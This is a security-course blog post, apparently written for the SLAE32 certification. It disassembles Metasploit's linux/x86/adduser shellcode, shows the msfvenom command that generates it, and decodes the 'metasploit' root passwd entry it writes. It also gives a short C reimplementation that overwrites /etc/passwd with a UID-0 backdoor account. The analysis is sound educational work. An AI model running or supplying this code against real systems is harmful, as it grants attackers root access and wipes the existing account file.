SLAE32 - Assignment 5.1

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-30398

Analysis

I chose the following 4 shellcode samples:

Name Description
linux/x86/adduser Create a new user with UID 0
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6

In this post I'll analyze the shellcode linux/x86/adduser.

NDISASM

To generate the payload:

msfvenom -p linux/x86/adduser -o shellcode.bin

To analyze it with ndisasm:

ndisasm shellcode2.bin -b 32 -p intel

It returns the following output (comments are mine though):

; ECX = 0
xor ecx,ecx

; EBX = 0
mov ebx,ecx

; EAX = 70
push byte +0x46
pop eax

; call setreuid
int 0x80
The shellcode runs the command setreuid(0, 0) in order to execute subsequent instructions as **root**
; EAX = 5
push byte +0x5
pop eax

; pushes 0x2f6574632f2f70617373776400000000 to the stack
; which is equal to "/etc//passwd"
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f

; store reference to string into EBX
mov ebx,esp

; ECX = 0x401 (1025)
inc ecx
mov ch,0x4

; syscall open
int 0x80
The shellcode calls open() on /etc//passwd with flags O_WRONLY and O_NOCTTY

The file must already exist, otherwise the function won't be able to open it.

; exchanges the values of EAX and EBX
xchg eax,ebx

; jumps to 0x00000053
call 0x53
After exchanging EAX with EBX, the shellcode jumps to 0x00000053
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
The bytes from 0x0000002B to 0x00000052 represent a string. In fact, the last byte is 0x0a is a newline (\n) on Linux systems
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

I won't cover the bytes from 0x00000052 to 0x0000005f as they aren't correct. In this case, ndisasm thinks that the byte at 0x00000052 is the opcode for the OR instructions, however it's simply a newline.

I had to adjust it manually:

echo -n '598b51fc6a0458cd806a0158cd80' | xxd -r -p > shellcode2.bin

ndisasm shellcode2.bin -b 32 -p intel

Follows the output of ndisasm:

; store the reference to the string into ECX
pop ecx

; copy the byte stored at ECX-4 into EDX 
mov edx,[ecx-0x4]

; call the write syscall
push byte +0x4
pop eax
int 0x80
According to the docs, EDX stores the length of the string, so it should be 0x28 (40 chars). The value is the fourth-to-last byte of the instruction stored at the address 0x00000026 (E828000000)

After the shellcode retrieves the size of the string to be written, it uses the write() syscall to write into the previously opened file, which is overwritten.

; call the exit syscall
push byte +0x1
pop eax
int 0x80
The shellcode gracefully terminates its execution

These last two pieces of shellcode simply write the new string inside the previously-opened file: /etc//passwd.

The line is the following:

echo "6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A" | xxd -r -p

# metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

The format is the following:

USERNAME:HASHED_PASSWORD:UID:GUID:GECOS_INFO:HOME_DIRECTORY:SHELL

The password in encrypted with DES, which is a weak encryption scheme. The first two characters (Az) are the salt, while the other eleven characters are the hash value.

According to the documentation of the module, the password should be metasploit.

Once the line is written, a new user with UID 0 and GUID 0 (hence identical to root), will be added to the machine.

De-compiling

Since the shellcode it's small, I tried to convert the assembly instructions into a C program, in order to make it easier to understand what's going on:

#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
  setreuid(0, 0);
  int fd = open("/etc//passwd", O_WRONLY | O_NOCTTY);
  write(fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40);
}
De-compiled code

A brief summary: